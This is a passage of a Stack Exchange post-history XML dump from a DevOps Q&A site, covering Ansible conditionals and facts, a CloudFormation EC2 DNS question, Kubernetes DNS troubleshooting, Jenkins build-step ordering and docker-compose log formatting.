  <row Id="38022" PostHistoryTypeId="5" PostId="12383" RevisionGUID="09586b7c-7d98-4c2e-877b-ba00bd757589" CreationDate="2020-09-11T05:43:10.313" UserId="7715" Comment="deleted 7 characters in body" Text="The condition works as expected. For example, the inventory and the playbook below&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat hosts&#xD;&#xA;[managers]&#xD;&#xA;k8s01&#xD;&#xA;k8s02&#xD;&#xA;k8s03&#xD;&#xA;&#xD;&#xA;[workers]&#xD;&#xA;worker1&#xD;&#xA;worker2&#xD;&#xA;&#xD;&#xA;shell&gt; cat playbook.yml &#xD;&#xA;- hosts: all&#xD;&#xA;  gather_facts: false&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: inventory_hostname&#xD;&#xA;      when:&#xD;&#xA;        - inventory_hostname != groups.managers.0&#xD;&#xA;        - inventory_hostname in groups.managers&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;give&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; ansible-playbook -i hosts playbook.yml &#xD;&#xA;&#xD;&#xA;PLAY [all] ****&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;skipping: [worker1]&#xD;&#xA;ok: [k8s02] =&gt; {&#xD;&#xA;    &quot;inventory_hostname&quot;: &quot;k8s02&quot;&#xD;&#xA;}&#xD;&#xA;skipping: [k8s01]&#xD;&#xA;skipping: [worker2]&#xD;&#xA;ok: [k8s03] =&gt; {&#xD;&#xA;    &quot;inventory_hostname&quot;: &quot;k8s03&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38023" PostHistoryTypeId="2" PostId="12384" RevisionGUID="1c35fcae-6727-4f9d-bddb-ffc51c6b15d3" CreationDate="2020-09-11T08:54:46.040" UserId="23901" Text="I am trying to automate the creation of a ac2 instance with cloud formation but am running into issues with DNS.&#xD;&#xA;&#xD;&#xA;Once the instance is created it can't seem to resolve any hostnames. I try to ping a hostname, such as google.com, and it can't be resolved. However, it can ping IP addresses.&#xD;&#xA;&#xD;&#xA;My template is below and I understand that there are some unused parameters which I intend to use later on:&#xD;&#xA;&#xD;&#xA;    {  &quot;Description&quot;: &quot;Create an EC2 instance by AWS CloudFormation&quot;,  &quot;Parameters&quot;: {&#xD;&#xA;    &quot;KeyName&quot;: {&#xD;&#xA;      &quot;MinLength&quot;: 1,&#xD;&#xA;      &quot;Type&quot;: &quot;AWS::EC2::KeyPair::KeyName&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;BaseAmiId&quot;: {&#xD;&#xA;      &quot;Default&quot;: &quot;ami-bd3ba0aa&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;DomainAdminUser&quot;: {&#xD;&#xA;      &quot;Description&quot;: &quot;User name for the account that will be added as Domain Administrator. This is separate from the default \&quot;Administrator\&quot; account&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;      &quot;Default&quot;: &quot;installer&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;DomainUserPassword&quot;: {&#xD;&#xA;      &quot;NoEcho&quot;: &quot;true&quot;,&#xD;&#xA;      &quot;Description&quot;: &quot;The Windows administrator account password&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;      &quot;MinLength&quot;: &quot;8&quot;,&#xD;&#xA;      &quot;MaxLength&quot;: &quot;41&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;DomainDNSName&quot;: {&#xD;&#xA;      &quot;Description&quot;: &quot;Fully qualified domain name (FQDN) of the forest root domain&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;      &quot;Default&quot;: &quot;test.com&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;DomainNetBiosName&quot;: {&#xD;&#xA;      &quot;Description&quot;: &quot;Netbios name for the domain&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;      &quot;Default&quot;: &quot;test&quot;&#xD;&#xA;    }  },  &quot;Resources&quot;: {&#xD;&#xA;    &quot;SecurityGroupDemoSvrTraffic&quot;: {&#xD;&#xA;      &quot;Type&quot;: &quot;AWS::EC2::SecurityGroup&quot;,&#xD;&#xA;      &quot;Properties&quot;: {&#xD;&#xA;        &quot;GroupName&quot;: &quot;sgDemoSvr&quot;,&#xD;&#xA;        &quot;SecurityGroupIngress&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;IpProtocol&quot;: &quot;tcp&quot;,&#xD;&#xA;            &quot;FromPort&quot;: 3389,&#xD;&#xA;            &quot;ToPort&quot;: 3389,&#xD;&#xA;            &quot;CidrIp&quot;: &quot;0.0.0.0/0&quot;,&#xD;&#xA;            &quot;Description&quot;: &quot;For traffic from Internet&quot;&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;GroupDescription&quot;: &quot;Security Group for demo server&quot;,&#xD;&#xA;        &quot;VpcId&quot;: &quot;vpc-05eabde4dbadsf09&quot;&#xD;&#xA;      }&#xD;&#xA;    },&#xD;&#xA;    &quot;EC2Instance&quot;: {&#xD;&#xA;      &quot;Type&quot;: &quot;AWS::EC2::Instance&quot;,&#xD;&#xA;      &quot;Properties&quot;: {&#xD;&#xA;        &quot;AvailabilityZone&quot;: &quot;eu-west-2b&quot;,&#xD;&#xA;        &quot;BlockDeviceMappings&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;DeviceName&quot;: &quot;/dev/sda1&quot;,&#xD;&#xA;            &quot;Ebs&quot;: {&#xD;&#xA;              &quot;DeleteOnTermination&quot;: &quot;true&quot;,&#xD;&#xA;              &quot;VolumeSize&quot;: &quot;32&quot;,&#xD;&#xA;              &quot;VolumeType&quot;: &quot;gp2&quot;&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;ImageId&quot;: &quot;ami-029c4f36a959979a7&quot;,&#xD;&#xA;        &quot;InstanceType&quot;: &quot;t2.micro&quot;,&#xD;&#xA;        &quot;KeyName&quot;: {&#xD;&#xA;			&quot;Ref&quot;: &quot;KeyName&quot;&#xD;&#xA;		},&#xD;&#xA;        &quot;NetworkInterfaces&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;Description&quot;: &quot;Primary network interface&quot;,&#xD;&#xA;            &quot;DeviceIndex&quot;: &quot;0&quot;,&#xD;&#xA;            &quot;SubnetId&quot;: &quot;subnet-0b3f36d19eb3sdfda&quot;,&#xD;&#xA;			&quot;AssociatePublicIpAddress&quot;: true,&#xD;&#xA;            &quot;GroupSet&quot;: [&#xD;&#xA;              {&#xD;&#xA;                &quot;Ref&quot;: &quot;SecurityGroupDemoSvrTraffic&quot;&#xD;&#xA;              }&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }  }}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38024" PostHistoryTypeId="1" PostId="12384" RevisionGUID="1c35fcae-6727-4f9d-bddb-ffc51c6b15d3" CreationDate="2020-09-11T08:54:46.040" UserId="23901" Text="DNS Issues with Cloud formation template" ContentLicense="CC BY-SA 4.0" />
  <row Id="38025" PostHistoryTypeId="3" PostId="12384" RevisionGUID="1c35fcae-6727-4f9d-bddb-ffc51c6b15d3" CreationDate="2020-09-11T08:54:46.040" UserId="23901" Text="&lt;amazon-web-services&gt;&lt;automation&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38026" PostHistoryTypeId="2" PostId="12385" RevisionGUID="0e11419f-ac38-4026-aa1b-cf29d1718f3a" CreationDate="2020-09-11T09:52:09.933" UserId="23902" Text="If you need to execute more than just one command, because let's say you are investigating an issue, you can start a session:&#xD;&#xA;&#xD;&#xA;    aws ssm start-session --target i-0123456789abcdef0&#xD;&#xA;&#xD;&#xA;You will need to [install Session Manager Plugin][1] for that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38028" PostHistoryTypeId="5" PostId="12384" RevisionGUID="9f7bf9f0-031e-4b24-8db2-97d776722e62" CreationDate="2020-09-11T10:00:48.950" UserId="354" Comment="edited body" Text="I am trying to automate the creation of an EC2 instance with CloudFormation but am running into issues with DNS.&#xD;&#xA;&#xD;&#xA;Once the instance is created it can't seem to resolve any hostnames. I try to ping a hostname, such as google.com, and it can't be resolved. However, it can ping IP addresses.&#xD;&#xA;&#xD;&#xA;My template is below and I understand that there are some unused parameters which I intend to use later on:&#xD;&#xA;&#xD;&#xA;    {  &quot;Description&quot;: &quot;Create an EC2 instance by AWS CloudFormation&quot;,  &quot;Parameters&quot;: {&#xD;&#xA;    &quot;KeyName&quot;: {&#xD;&#xA;      &quot;MinLength&quot;: 1,&#xD;&#xA;      &quot;Type&quot;: &quot;AWS::EC2::KeyPair::KeyName&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;BaseAmiId&quot;: {&#xD;&#xA;      &quot;Default&quot;: &quot;ami-bd3ba0aa&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;DomainAdminUser&quot;: {&#xD;&#xA;      &quot;Description&quot;: &quot;User name for the account that will be added as Domain Administrator. This is separate from the default \&quot;Administrator\&quot; account&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;      &quot;Default&quot;: &quot;installer&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;DomainUserPassword&quot;: {&#xD;&#xA;      &quot;NoEcho&quot;: &quot;true&quot;,&#xD;&#xA;      &quot;Description&quot;: &quot;The Windows administrator account password&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;      &quot;MinLength&quot;: &quot;8&quot;,&#xD;&#xA;      &quot;MaxLength&quot;: &quot;41&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;DomainDNSName&quot;: {&#xD;&#xA;      &quot;Description&quot;: &quot;Fully qualified domain name (FQDN) of the forest root domain&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;      &quot;Default&quot;: &quot;test.com&quot;&#xD;&#xA;    },&#xD;&#xA;    &quot;DomainNetBiosName&quot;: {&#xD;&#xA;      &quot;Description&quot;: &quot;Netbios name for the domain&quot;,&#xD;&#xA;      &quot;Type&quot;: &quot;String&quot;,&#xD;&#xA;      &quot;Default&quot;: &quot;test&quot;&#xD;&#xA;    }  },  &quot;Resources&quot;: {&#xD;&#xA;    &quot;SecurityGroupDemoSvrTraffic&quot;: {&#xD;&#xA;      &quot;Type&quot;: &quot;AWS::EC2::SecurityGroup&quot;,&#xD;&#xA;      &quot;Properties&quot;: {&#xD;&#xA;        &quot;GroupName&quot;: &quot;sgDemoSvr&quot;,&#xD;&#xA;        &quot;SecurityGroupIngress&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;IpProtocol&quot;: &quot;tcp&quot;,&#xD;&#xA;            &quot;FromPort&quot;: 3389,&#xD;&#xA;            &quot;ToPort&quot;: 3389,&#xD;&#xA;            &quot;CidrIp&quot;: &quot;0.0.0.0/0&quot;,&#xD;&#xA;            &quot;Description&quot;: &quot;For traffic from Internet&quot;&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;GroupDescription&quot;: &quot;Security Group for demo server&quot;,&#xD;&#xA;        &quot;VpcId&quot;: &quot;vpc-05eabde4dbadsf09&quot;&#xD;&#xA;      }&#xD;&#xA;    },&#xD;&#xA;    &quot;EC2Instance&quot;: {&#xD;&#xA;      &quot;Type&quot;: &quot;AWS::EC2::Instance&quot;,&#xD;&#xA;      &quot;Properties&quot;: {&#xD;&#xA;        &quot;AvailabilityZone&quot;: &quot;eu-west-2b&quot;,&#xD;&#xA;        &quot;BlockDeviceMappings&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;DeviceName&quot;: &quot;/dev/sda1&quot;,&#xD;&#xA;            &quot;Ebs&quot;: {&#xD;&#xA;              &quot;DeleteOnTermination&quot;: &quot;true&quot;,&#xD;&#xA;              &quot;VolumeSize&quot;: &quot;32&quot;,&#xD;&#xA;              &quot;VolumeType&quot;: &quot;gp2&quot;&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;ImageId&quot;: &quot;ami-029c4f36a959979a7&quot;,&#xD;&#xA;        &quot;InstanceType&quot;: &quot;t2.micro&quot;,&#xD;&#xA;        &quot;KeyName&quot;: {&#xD;&#xA;			&quot;Ref&quot;: &quot;KeyName&quot;&#xD;&#xA;		},&#xD;&#xA;        &quot;NetworkInterfaces&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;Description&quot;: &quot;Primary network interface&quot;,&#xD;&#xA;            &quot;DeviceIndex&quot;: &quot;0&quot;,&#xD;&#xA;            &quot;SubnetId&quot;: &quot;subnet-0b3f36d19eb3sdfda&quot;,&#xD;&#xA;			&quot;AssociatePublicIpAddress&quot;: true,&#xD;&#xA;            &quot;GroupSet&quot;: [&#xD;&#xA;              {&#xD;&#xA;                &quot;Ref&quot;: &quot;SecurityGroupDemoSvrTraffic&quot;&#xD;&#xA;              }&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }  }}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38029" PostHistoryTypeId="5" PostId="12382" RevisionGUID="ce1e7150-8ee5-4ea9-9903-bb2f3c5c2498" CreationDate="2020-09-11T12:53:44.057" UserId="12988" Comment="Clarify output message" Text="I'm trying to get the output from a command on the first host in group managers and execute it on the other hosts in the same group.&#xD;&#xA;&#xD;&#xA;hosts file&#xD;&#xA;&#xD;&#xA;    [managers]&#xD;&#xA;    k8s01&#xD;&#xA;    k8s02&#xD;&#xA;    k8s03&#xD;&#xA;    &#xD;&#xA;    [workers]&#xD;&#xA;    worker1&#xD;&#xA;    worker2&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;main.yaml&#xD;&#xA;&#xD;&#xA;    - name: Create token to join cluster&#xD;&#xA;      shell: kubeadm token create --print-join-command&#xD;&#xA;      run_once: true&#xD;&#xA;      changed_when: false&#xD;&#xA;      when: inventory_hostname == groups['managers'][0]&#xD;&#xA;      register: kubernetes_join_command_result&#xD;&#xA;    &#xD;&#xA;    -name: Set join command for managers&#xD;&#xA;    - set_fact:&#xD;&#xA;        kubernetes_join_command_controlplane: &quot;{{ kubernetes_join_command_result.stdout }} --control-plane&quot;&#xD;&#xA;      when: kubernetes_join_command_result.stdout is defined&#xD;&#xA;      delegate_to: &quot;{{ item }}&quot;&#xD;&#xA;      delegate_facts: true&#xD;&#xA;      with_items: &quot;{{ groups['managers'] }}&quot;   &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    - name: Debug var&#xD;&#xA;      debug:&#xD;&#xA;        msg: 'Join Command: {{ kubernetes_join_command_result.stdout }}'&#xD;&#xA;    &#xD;&#xA;    - name: Join managers into cluster      &#xD;&#xA;      shell: &quot;{{ kubernetes_join_command_controlplane.stdout }}&quot;&#xD;&#xA;      args:&#xD;&#xA;        warn: no&#xD;&#xA;      when: inventory_hostname != groups['managers'][0] and inventory_hostname in groups['managers']&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Instead of running the join command in hosts k8s02 and k8s03, I get the output below.&#xD;&#xA;&#xD;&#xA;    TASK [managers: Join managers into cluster] ********************&#xD;&#xA;    skipping: [k8s01] =&gt; {&quot;changed&quot;: false, &quot;skip_reason&quot;: &quot;Conditional result was False&quot;}&#xD;&#xA;    TASK [manager: another task] ***************************&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38030" PostHistoryTypeId="2" PostId="12386" RevisionGUID="19d4d09f-e209-48a6-93a2-bcc6ba4ad48a" CreationDate="2020-09-11T13:32:46.090" UserId="2704" Text="While I'm using Ansible for quite some time, I'm not sure I really understand the differences between a variable and a fact. Could someone explain me, possibly with an example where it really make a difference ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38031" PostHistoryTypeId="1" PostId="12386" RevisionGUID="19d4d09f-e209-48a6-93a2-bcc6ba4ad48a" CreationDate="2020-09-11T13:32:46.090" UserId="2704" Text="ansible: difference between a variable and a fact" ContentLicense="CC BY-SA 4.0" />
  <row Id="38032" PostHistoryTypeId="3" PostId="12386" RevisionGUID="19d4d09f-e209-48a6-93a2-bcc6ba4ad48a" CreationDate="2020-09-11T13:32:46.090" UserId="2704" Text="&lt;ansible&gt;&lt;variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38033" PostHistoryTypeId="2" PostId="12387" RevisionGUID="10ea13b7-3d2c-466b-afed-883e1424a60e" CreationDate="2020-09-11T13:45:19.013" UserId="3" Text="It seems your private DNS is misconfigured. Check your host or make sure that `docker-registry.default` is the a valid hostname.&#xD;&#xA;&#xD;&#xA;You can run a temporary Ubuntu pod to check if that hostname is resolving correctly from your cluster, e.g.&#xD;&#xA;&#xD;&#xA;    $ kubectl run ubuntu -it --image ubuntu --rm=true -- bash&#xD;&#xA;    root@shell:/# apt update &amp;&amp; DEBIAN_FRONTEND=noninteractive apt --yes install dnsutils&#xD;&#xA;    root@shell:/# dig docker-registry.default&#xD;&#xA;    docker-registry.default.	IN	A D0.y0u.h4ve.1P?&#xD;&#xA;&#xD;&#xA;Additional suggestions:&#xD;&#xA;&#xD;&#xA;- If you're using a cloud provider (such as Azure), make sure your Private DNS zone is linked with your cluster's virtual network.&#xD;&#xA;- If your container registry endpoint isn't correct, edit the deployment manifest and fix the image path.&#xD;&#xA;- Test pulling the image from another VM within the same private network." ContentLicense="CC BY-SA 4.0" />
  <row Id="38034" PostHistoryTypeId="5" PostId="12387" RevisionGUID="9d833965-90f6-4592-8a1e-db09eef84bc7" CreationDate="2020-09-11T13:50:29.507" UserId="3" Comment="added 213 characters in body" Text="It seems your private DNS is misconfigured. Check your host or make sure that `docker-registry.default` is the a valid hostname.&#xD;&#xA;&#xD;&#xA;You can run a temporary Ubuntu pod to check if that hostname is resolving correctly from your cluster, e.g.&#xD;&#xA;&#xD;&#xA;    $ kubectl run ubuntu -it --image ubuntu --rm=true -- bash&#xD;&#xA;    root@shell:/# apt update &amp;&amp; DEBIAN_FRONTEND=noninteractive apt --yes install dnsutils&#xD;&#xA;    root@shell:/# dig docker-registry.default&#xD;&#xA;    docker-registry.default.	IN	A D0.y0u.h4ve.1P?&#xD;&#xA;&#xD;&#xA;Additional suggestions:&#xD;&#xA;&#xD;&#xA;- If you're using a cloud provider (such as Azure), make sure your Private DNS zone is linked with your cluster's virtual network. Read: [Connect privately to an Azure container registry using Azure Private Link](https://docs.microsoft.com/en-us/azure/container-registry/container-registry-private-link#create-a-docker-enabled-virtual-machine)&#xD;&#xA;- If your container registry endpoint isn't correct, edit the deployment manifest and fix the image path.&#xD;&#xA;- Test pulling the image from another VM within the same private network." ContentLicense="CC BY-SA 4.0" />
  <row Id="38035" PostHistoryTypeId="50" PostId="4336" RevisionGUID="83e76c48-fe6f-4753-a9d5-8ad5fa7c5ddf" CreationDate="2020-09-11T14:03:10.343" UserId="-1" />
  <row Id="38036" PostHistoryTypeId="5" PostId="10706" RevisionGUID="79f29d04-d234-4dba-b2a6-65a53c4c4ed1" CreationDate="2020-09-11T14:31:08.217" UserId="7715" Comment="added 223 characters in body" Text="&gt;Q: *&quot;Is it possible to change ansible temp dir for one playbook only? I have VMs with r/o root.&quot;*&#xD;&#xA;&#xD;&#xA;A: Yes. It's possible. Configure the variable [ansible_remote_tmp](https://docs.ansible.com/ansible/latest/plugins/shell/sh.html).&#xD;&#xA;&#xD;&#xA;In some cases, a better solution to this problem is [ANSIBLE_PIPELINING](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#ansible-pipelining). Quoting from [Risks and limitations of become](https://docs.ansible.com/ansible/latest/user_guide/become.html#risks-and-limitations-of-become):&#xD;&#xA;&gt; Use pipelining. When pipelining is enabled, Ansible does not save the module to a temporary file on the client. Instead, it pipes the module to the remote python interpreter’s stdin. Pipelining does not work for python modules involving file transfer (for example: copy, fetch, template), or for non-python modules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Notes:&#xD;&#xA;&#xD;&#xA;* Quoting from [Release notes](https://github.com/ansible/ansible/blob/stable-2.5/changelogs/CHANGELOG-v2.5.rst#minor-changes-4):&#xD;&#xA;&gt; The ANSIBLE_REMOTE_TMP environment variable has been added to supplement (and override) ANSIBLE_REMOTE_TEMP. This matches the spelling of the config value. ANSIBLE_REMOTE_TEMP will be deprecated in the future.&#xD;&#xA;&#xD;&#xA;* `remote_tmp` is not among configuration options in [Ansible Configuration Settings](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#ansible-configuration-settings)&#xD;&#xA;&#xD;&#xA;* See [`remote_tmp`](https://docs.ansible.com/ansible/latest/plugins/shell/sh.html#parameter-remote_tmp) parameter of the [sh](https://docs.ansible.com/ansible/latest/plugins/shell/sh.html#sh-posix-shell-bin-sh) plugin.&#xD;&#xA;&#xD;&#xA;* There are open [bugs](https://github.com/ansible/ansible/issues?utf8=%E2%9C%93&amp;q=ANSIBLE_REMOTE_TMP+is%3Aopen) mostly with Windows&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38037" PostHistoryTypeId="2" PostId="12388" RevisionGUID="8cbc619e-7e40-4c3c-845a-00519f2f9f71" CreationDate="2020-09-11T14:47:03.120" UserId="15499" Text="In my Jenkins project, I take a snapshot of the SQL server using a post build script/task:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But that part takes a while and is irrelevant to the QA people who are just interested in installing the software which they get notified by having the Email Extension:&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;I've changed the order of each action, putting the 'Editable Email Notification' above 'Post Build Task but it still takes the snapshot before sending the email as seen on the log:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;and at the very bottom of the log, then it sends the email:&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;Is there a configuration I'm missing?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/bWF8a.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/Ns6TW.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/wBI3U.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/zh4Hy.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38038" PostHistoryTypeId="1" PostId="12388" RevisionGUID="8cbc619e-7e40-4c3c-845a-00519f2f9f71" CreationDate="2020-09-11T14:47:03.120" UserId="15499" Text="Jenkins - Run Email Action before Post Build Task" ContentLicense="CC BY-SA 4.0" />
  <row Id="38039" PostHistoryTypeId="3" PostId="12388" RevisionGUID="8cbc619e-7e40-4c3c-845a-00519f2f9f71" CreationDate="2020-09-11T14:47:03.120" UserId="15499" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38040" PostHistoryTypeId="2" PostId="12389" RevisionGUID="ae071903-a684-421a-b78f-0c4447f6dd83" CreationDate="2020-09-11T15:24:19.200" UserId="23904" Text="Ansible **facts** are data collected about the (target) systems on which Ansible takes actions. They are variables, but set by Ansible (in a way like ***system defined variables***). They are collected during `Gathering Facts` stage of a playbook run, and it is controlled by the `gather_facts` setting. Ansible calls this [variables discovered from systems](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#id26). That said, it is possible to set custom facts also.&#xD;&#xA;&#xD;&#xA;Some examples are:&#xD;&#xA;&#xD;&#xA;* `ansible_hostname` - the FQDN of the target system&#xD;&#xA;* `ansible_os_family` - the Operating System family of target system (RedHat, Debian, etc.)&#xD;&#xA;&#xD;&#xA;The other **variables** are the ones we can set as per our requirement (in a way like ***user defined variables***).&#xD;&#xA;&#xD;&#xA;Some examples are:&#xD;&#xA;&#xD;&#xA;* `my_fav_fruits: [ 'orange', 'apple', 'banana' ]` - yours might differ. &#xD;&#xA;* `config_dir: '/etc/my_app/conf.d'` - for my application configuration files." ContentLicense="CC BY-SA 4.0" />
  <row Id="38041" PostHistoryTypeId="2" PostId="12390" RevisionGUID="46e0ec8d-f887-4223-9ef2-ad56bcd9f250" CreationDate="2020-09-11T15:49:12.300" UserId="9877" Text="Which flavor of Linux are you using? (eg Ubuntu/Debian, RHEL/CentOS etc)&#xD;&#xA;Also which version? (eg Ubuntu started using the &quot;netplan&quot; configuration by default in 20.04)&#xD;&#xA;&#xD;&#xA;At first glance, it looks like your DNS nameservers are hosed somehow.&#xD;&#xA;&#xD;&#xA;And can you post the results for doing a: `netstat -nutpl`? &#xD;&#xA;&#xD;&#xA;Look at which PID/Program Name is listening on port 53 (systemd-resolve? dnsmasq?) and check its nameserver configuration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Maybe check here: `sudo cat /etc/resolv.conf ` and make sure the nameserver(s) listed there are what you think you should have them.&#xD;&#xA;&#xD;&#xA;or check the DNS-related services are even running with something like:&#xD;&#xA;&#xD;&#xA;Ubuntu:  `sudo service systemd-resolved status` (NOTE BOTH of the 'd' endings)&#xD;&#xA;&#xD;&#xA;CentOS/RHEL: `sudo service dnsmasq status`&#xD;&#xA;&#xD;&#xA;(or whatever is using port 53, which is the default DNS port on most OSes)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38042" PostHistoryTypeId="2" PostId="12391" RevisionGUID="e525ed44-b1df-4c83-b831-6577a49009e8" CreationDate="2020-09-11T19:14:22.337" UserId="23907" Text="I was getting this error in the Docker installation that installed using &quot;snap&quot; in Ubuntu 18.04. My problem was resolved when I uninstalled Docker and installed it as in their official documentation." ContentLicense="CC BY-SA 4.0" />
  <row Id="38045" PostHistoryTypeId="2" PostId="12392" RevisionGUID="ff7902ba-3e8a-4bd2-a64e-1a72906ebc8d" CreationDate="2020-09-12T02:37:10.673" UserId="23911" Text="I am using `docker-compose up` to start a web server in linux but am finding that the `stdout` is printing &quot;\n&quot; characters instead of creating new lines. This makes stack traces difficult to read;&#xD;&#xA;&#xD;&#xA;    172.19.0.1 - - [12/Sep/2020:02:19:18 +0000] &quot;GET /node/100 HTTP/1.1&quot; 500 337 &quot;http://localhost/node/100/edit&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36&quot;&#xD;&#xA;    [Sat Sep 12 02:19:18.426082 2020] [php7:notice] [pid 21] [client 172.19.0.1:58954] ParseError: syntax error, unexpected '::' (T_PAAMAYIM_NEKUDOTAYIM), expecting identifier (T_STRING) in /opt/drupal/web/modules/custom/rsvplist/src/Plugin/Block/RSVPBlock.php on line 37 #0 /opt/drupal/vendor/composer/ClassLoader.php(322): Composer\\Autoload\\includeFile('/opt/drupal/web...')\n#1 [internal function]: Composer\\Autoload\\ClassLoader-&gt;loadClass('Drupal\\\\rsvplist...')\n#2 [internal function]: spl_autoload_call('Drupal\\\\rsvplist...')\n#3 /opt/drupal/web/core/lib/Drupal/Component/Plugin/Factory/DefaultFactory.php(96): class_exists('Drupal\\\\rsvplist...')\n#4 /opt/drupal/web/core/lib/Drupal/Core/Plugin/Factory/ContainerFactory.php(17): Drupal\\Component\\Plugin\\Factory\\DefaultFactory::getPluginClass('rsvp_block', Array, 'Drupal\\\\Core\\\\Blo...')\n#5 /opt/drupal/web/core/lib/Drupal/Component/Plugin/PluginManagerBase.php(76): Drupal\\Core\\Plugin\\Factory\\ContainerFactory-&gt;createInstance('rsvp_block', Array)\n#6 /opt/drupal/web/core/lib/Drupal/Core/Plugin/DefaultSingleLazyPluginCollection.php(62): Drupal\\Component\\Plugin\\PluginManagerBase-&gt;createInstance('rsvp_block', Array)\n#7 /opt/drupal/web/core/modules/block/src/BlockPluginCollection.php(57): Drupal\\Core\\Plugin\\DefaultSingleLazyPluginCollection-&gt;initializePlugin('rsvp_block')\n#8 /opt/drupal/web/core/lib/Drupal/Component/Plugin/LazyPluginCollection.php(80): Drupal\\block\\BlockPluginCollection-&gt;initializePlugin('rsvp_block')\n#9 /opt/drupal/web/core/modules/block/src/BlockPluginCollection.php(45): Drupal\\Component\\Plugin\\LazyPluginCollection-&gt;get('rsvp_block')\n#10 /opt/drupal/web/core/lib/Drupal/Core/Plugin/DefaultSingleLazyPluginCollection.php(83): Drupal\\block\\BlockPluginCollection-&gt;get('rsvp_block')\n#11 /opt/drupal/web/core/lib/Drupal/Core/Plugin/DefaultSingleLazyPluginCollection.php(99): Drupal\\Core\\Plugin\\DefaultSingleLazyPluginCollection-&gt;setConfiguration(Array)\n#12 /opt/drupal/web/core/lib/Drupal/Core/Plugin/DefaultSingleLazyPluginCollection.php(55): Drupal\\Core\\Plugin\\DefaultSingleLazyPluginCollection-&gt;addInstanceId('rsvp_block', Array)\n#13 /opt/drupal/web/core/modules/block/src/BlockPluginCollection.php(34): Drupal\\Core\\Plugin\\DefaultSingleLazyPluginCollection-&gt;__construct(Object(Drupal\\Core\\Block\\BlockManager), 'rsvp_block', Array)\n#14 /opt/drupal/web/core/modules/block/src/Entity/Block.php(156): 